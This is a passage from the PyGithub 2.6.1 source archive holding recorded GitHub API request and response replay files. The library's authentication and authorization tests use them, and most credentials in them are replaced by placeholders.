v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-05-09T07:44:21Z","pushed_at":"2023-05-09T07:33:55Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13824,"stargazers_count":5996,"watchers_count":5996,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1628,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":258,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1628,"open_issues":258,"watchers":5996,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1628,"subscribers_count":115} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAppUserAuthentication.txt0000644000175100001660000002270314756101563027060 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Accept': 'application/json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"client_id": "removed client id", "client_secret": "removed client secret", "grant_type": "refresh_token", "refresh_token": "removed refresh token"} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:27:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e8a025894c83a02cfc803c31ab4fad5d"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED90:28E7:49399EC:4A04E0A:6480DA3F')] {"access_token":"fresh access token","expires_in":28800,"refresh_token":"fresh refresh token","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} https POST github.com None /login/oauth/access_token {'Accept': 'application/json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"client_id": "removed client id", "client_secret": "removed client secret", "grant_type": "refresh_token", "refresh_token": "fresh refresh token"} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0a182fcce694870c91b7c96a645b67ec"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED9C:7D77:4AD94EB:4B9CB5D:6480DA40')] {"access_token":"another access token","expires_in":28800,"refresh_token":"another refresh token","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} https GET api.github.com None /user {'Authorization': 'bearer another access token', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"54b08a82d0db134f62cbe236aed299676e7118524c4fecd65bf19e07ef5155ea"'), ('Last-Modified', 'Thu, 01 Jun 2023 06:30:10 GMT'), ('X-OAuth-Scopes', ''), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', 'Iv1.a0facee5139c0213'), ('github-authentication-token-expiration', '2023-06-08 03:28:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1686167445'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C5C2:341D:2E56DD4:2EBAE4B:6480DA40')] {"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false,"name":"Enrico Minack","company":null,"blog":"","location":"Hannover, Germany","email":"github@enrico.minack.dev","hireable":null,"bio":"Open Source Software enthusiast, LF AI Horovod maintainer, Apache Spark contributor.","twitter_username":null,"public_repos":38,"public_gists":0,"followers":30,"following":0,"created_at":"2018-11-02T11:17:22Z","updated_at":"2023-06-01T06:30:10Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAuthorizationHeaderWithLogin.txt0000644000175100001660000000066014756101563030375 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk', 'User-Agent': 'PyGithub/Python'} None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('x-github-media-type', 'github.beta; format=json'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Thu, 28 Mar 2013 20:14:22 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testAuthorizationHeaderWithToken.txt0000644000175100001660000000070214756101563030402 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'token ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk', 'User-Agent': 'PyGithub/Python'} None 403 [('status', '403 Forbidden'), ('content-length', '50'), ('x-github-media-type', 'github.beta; format=json'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('date', 'Thu, 28 Mar 2013 20:15:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Max number of login attempt exceeded"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testBasicAuthentication.txt0000644000175100001660000000235614756101563026524 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f1a68180387d296f308d6a01917e1799"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":16852,"public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testJWTAuthentication.txt0000644000175100001660000000215314756101563026142 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testLoginAuthentication.txt0000644000175100001660000000235614756101563026553 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f1a68180387d296f308d6a01917e1799"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":16852,"public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","total_private_repos":5,"blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","owned_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testNoAuthentication.txt0000644000175100001660000000200714756101563026050 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b81320548394cb55b7e97fb1636d2898"'), ('date', 'Sat, 26 May 2012 09:34:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_repos":11,"url":"https://api.github.com/users/jacquev6","hireable":false,"public_gists":1,"bio":"","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testOAuthAuthentication.txt0000644000175100001660000000216414756101563026520 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testTokenAuthentication.txt0000644000175100001660000000216414756101563026560 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authentication.testUserAgent.txt0000644000175100001660000000355114756101563024476 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithubTester', 'User-Agent': 'PyGithubTester'} None 200 [('status', '200 OK'), ('content-length', '1250'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept'), ('x-ratelimit-remaining', '57'), ('server', 'nginx'), ('last-modified', 'Mon, 19 Nov 2012 19:05:48 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"20bb1bc354d1c62d7c5e8b918cdbe6a1"'), ('cache-control', 'public, s-maxage=60, max-age=60'), ('date', 'Mon, 19 Nov 2012 20:14:08 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":19,"type":"User","followers_url":"https://api.github.com/users/jacquev6/followers","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","received_events_url":"https://api.github.com/users/jacquev6/received_events","following_url":"https://api.github.com/users/jacquev6/following","login":"jacquev6","blog":"http://vincent-jacques.net","following":37,"html_url":"https://github.com/jacquev6","created_at":"2010-07-09T06:10:06Z","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","bio":"","name":"Vincent Jacques","email":"vincent@vincent-jacques.net","repos_url":"https://api.github.com/users/jacquev6/repos","public_gists":2,"followers":18,"company":"Criteo","location":"Paris, France","id":327146,"events_url":"https://api.github.com/users/jacquev6/events{/privacy}","organizations_url":"https://api.github.com/users/jacquev6/orgs"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authorization.setUp.txt0000644000175100001660000000143414756101563022660 0ustar00runnerdockerhttps GET api.github.com None /authorizations/372259 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e15ef91b6fe4705f493fca75475b763b"'), ('date', 'Tue, 22 May 2012 18:03:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":[],"note_url":null,"updated_at":"2012-05-22T18:03:17Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","id":372259} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authorization.testDelete.txt0000644000175100001660000000061614756101563023663 0ustar00runnerdockerhttps DELETE api.github.com None /authorizations/372259 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 18:25:53 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Authorization.testEdit.txt0000644000175100001660000001045114756101563023344 0ustar00runnerdockerhttps PATCH api.github.com None /authorizations/372259 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"39fec03a7cbd97abde96cccbd1921277"'), ('date', 'Tue, 22 May 2012 18:24:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":[],"updated_at":"2012-05-22T18:24:09Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"note_url":null,"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","id":372259} https PATCH api.github.com None /authorizations/372259 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"scopes": ["user"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '334'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6476c8dce7e66cb43e71317294fd5b42"'), ('date', 'Tue, 22 May 2012 18:24:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":["user"],"updated_at":"2012-05-22T18:24:09Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"note_url":null,"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","id":372259} https PATCH api.github.com None /authorizations/372259 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"add_scopes": ["repo"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '341'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"aef23fb8f728fcd7acf751015c21661a"'), ('date', 'Tue, 22 May 2012 18:24:10 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":["user","repo"],"updated_at":"2012-05-22T18:24:10Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"note_url":null,"created_at":"2012-05-22T18:03:17Z","id":372259} https PATCH api.github.com None /authorizations/372259 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"remove_scopes": ["repo"]} 200 